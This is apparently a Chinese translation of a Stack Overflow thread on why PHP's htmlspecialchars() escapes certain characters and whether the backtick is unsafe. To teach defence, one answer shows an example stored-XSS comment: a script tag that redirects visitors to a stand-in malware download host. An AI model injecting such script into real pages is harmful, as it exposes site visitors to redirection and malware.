为什么这5(6?)个字符被认为是“不安全”的HTML字符?

4
在PHP中,有一个名为 htmlspecialchars() 的函数,它对字符串执行以下替换:
  • &(和号)转换为&
  • "(双引号)转换为"
  • '(单引号)转换为'(仅在设置了ENT_QUOTES标志时)
  • <(小于号)转换为&lt;
  • >(大于号)转换为&gt;
显然,这是因为这5个特定的字符是不安全的HTML字符问题1: 为什么前三个字符(和号、双引号、单引号)也被认为是“不安全”的?
此外,我偶然发现了GitHub上的这个名为“he”的库(由Mathias Bynens开发),它涉及编码/解码HTML实体。在那里,我找到了以下内容:

[...] 在HTML内容中不安全使用的字符(&,<,>,“,' 和 `)将被编码。[...]

(来源) 问题2: 有没有一个好的理由认为反引号是另一个不安全的HTML字符?如果有,这是否意味着PHP上述函数已经过时?
最后,这一切引出了以下问题: 问题3:除了上述5/6个字符之外,还有哪些字符应该被认为是“不安全”的?

这并不是真正回答你的问题,但在某种程度上涉及到第三点:在过滤XSS漏洞等时,请使用白名单而不是黑名单。如果必须允许HTML,请将其限制为极其有限的子集。尝试过滤掉每一个可能的恶意输入要比只允许好的输入要困难得多。 - CollinD
@CollinD 感谢您 - 我同意仅仅转义那些5(6?)个字符不是防止漏洞的最佳方法。我的问题更多地是关于为什么这些5个字符被认为比其他字符“更重要”,如果有其他字符应该放在同一篮子中,例如反引号,也许。 - Pedro A
1
现在,有人愿意猜测这个问题出了什么问题吗?我收到了一个没有解释的随机负评。我期待着改进/修复这个问题,但是没有评论我无法做到。谢谢。 - Pedro A
2个回答

6
Donovan_D的回答已经很好地解释了问题,但是我会在这里提供一些具体的例子,说明为什么这些特定的字符会导致问题。
这些字符被认为是不安全的,因为它们是执行XSS(跨站点脚本攻击)攻击(或者用无辜的输入意外地破坏页面)最明显的方法。
考虑一个网站上的评论功能。您提交一个带有文本区域的表单。它被保存到数据库中,然后显示在页面上供所有访问者查看。
现在我提交了一个像这样的评论。
<script type="text/javascript">
    window.top.location.href="http://www.someverybadsite.website/downloadVirus.exe";
</script>

突然,每个访问您网页的人都被重定向到病毒下载页面。在这里,天真的做法是说,好吧那么让我们过滤掉攻击中的一些重要字符:

<>将被替换为&lt;&gt;,现在突然我们的脚本不再是一个脚本。它只是一些看起来像html的文本。

类似的情况也会出现在注释中。

Something is <<wrong>> here.

假设用户使用 <<...>> 来强调某些内容,他们的评论将呈现为:

这里有 <> 的内容。

显然这不是期望的行为。
相对而言,使用 & 会出现较少恶意情况。在HTML中,& 用于表示HTML实体,如 &amp;&quot;&lt; 等等。所以无辜的文本很容易成为HTML实体,并对用户显示出奇怪和不同寻常的外观。
考虑下面的评论:
I really like #455 &#243; please let me know when they're available for purchase.

这将被渲染为:
引用: 我真的很喜欢#455 ó,请让我知道何时可以购买。
显然不是预期行为。
重点是,这些符号被识别为防止大多数XSS漏洞/错误的关键,因为它们可能被用于有效输入,但需要转义才能在HTML中正确呈现。
至于第二个问题,个人不知道反引号应该被认为是不安全的HTML字符的任何方法。
至于你的第三个问题,也许。不要依赖黑名单来过滤用户输入。相反,使用已知的OK输入白名单,并从那里工作。

非常感谢。那引号呢?它们用于包围属性,我知道,但你能详细说明一下吗?它们会自己造成伤害/意外的事情吗?(即没有<>的“帮助”) - Pedro A
2
也许吧。我非常犹豫地直接说“不”。这里有一些更多的细节需要检查 https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet。最明显的问题是,如果您接受用户输入并将其放入属性中,那么引号显然会对其造成伤害并逃逸该属性本身。例如,允许用户输入图像标题并在`img`标记的`title`属性中使用它,用户可能会通过打破引号来潜在地更改`img`标记的`src`属性。 - CollinD
3
上下文决定一切。htmlspecialchars() 函数是 PHP 中的一个通用函数,用于转义在 HTML 文档中可能具有特殊意义的字符(无论在 HTML 文档的哪个位置)。它不仅用于使输出“安全”,事实上,PHP 文档中并没有提到“不安全”的字符。引号在正文中使用时完全可以,但如果在 HTML 属性中使用(只有在使用相同的引号作为属性定界符时),则可能会破坏输出。如果您正在解析 Markdown 的输出,则反引号可能会有问题。上下文很重要. - MrWhite

2
这些字符是不安全的,因为在HTML中,<>定义了标签。
""''用于括住属性。
由于在HTML实体中使用,&被编码。
除此之外,没有其他字符应该被编码,但它们可以被编码,例如:
交易符号可以变成&trade;
美元符号可以变成&dollar;,欧元可以变成&euro;
任何表情符号都可以用HTML实体(编码名称)表示
你可以在这里找到解释/示例。

3
谢谢,但这并没有回答我的问题。你只是说明了引号和&符号的用法。我的问题是关于哪些符号容易导致注入攻击(更重要的是,为什么会导致)。 - Pedro A

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接